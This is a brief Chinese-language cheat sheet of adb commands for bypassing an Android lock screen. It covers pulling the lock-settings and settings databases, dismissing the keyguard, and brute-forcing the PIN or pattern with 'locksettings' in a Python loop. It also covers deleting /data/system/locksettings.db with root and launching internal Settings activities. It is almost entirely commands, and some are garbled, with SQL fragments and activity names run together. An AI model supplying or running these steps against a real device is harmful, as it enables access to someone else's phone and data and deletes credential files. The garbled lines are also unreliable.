执行下列操作前，先备份数据库 1、adb pull /data/system/locksettings.db 2、adb pull /data/system/*locksettings*.db 3、adb pull /data/data/com.android.providers.settings/databases/settings.db

一、没有密码的情况下解锁（触摸屏不灵敏） adb shell wm dismiss-keyguard

二、有密码的情况下解锁： 1）命令强制破解（python程序循环尝试破解） adb shell locksettings set-pattern --old 12369 12369 locksettings set-pin --old xxxx xxxx locksettings set-password --old xxxx xxxx locksettings clear --old xxxx

2）命令暴力删除密码 root删除用户密码数据库：/data/system/locksettings.db adb shell settings put system lockscreen_disabled false update secure set value=0 where name='lockscreen.disabled'; adb shell rm -f /data/system/locksettings.db* adb shell sqlite3 /data/data/com.android.providers.settings/databases/settings.db "update secure set value = '0' where name = 'screensaver_enabled'"

3）命令通过拉起界面获取进程内部数据破解（反编译apk） adb shell am start -n com.android.settings/.password.SetupChooseLockPassword adb shell am start -n com.android.settings/.password.ChooseLockPassword ConfirmLockPattern$InternalActivity

adb shell am start -n com.android.settings/.SetupChooseLockGeneric Starting: Intent { cmp=com.android.settings/.SetupChooseLockGeneric }

adb shell am start -n com.android.settings/.ChooseLockGeneric Starting: Intent { cmp=com.android.settings/.ChooseLockGeneric }
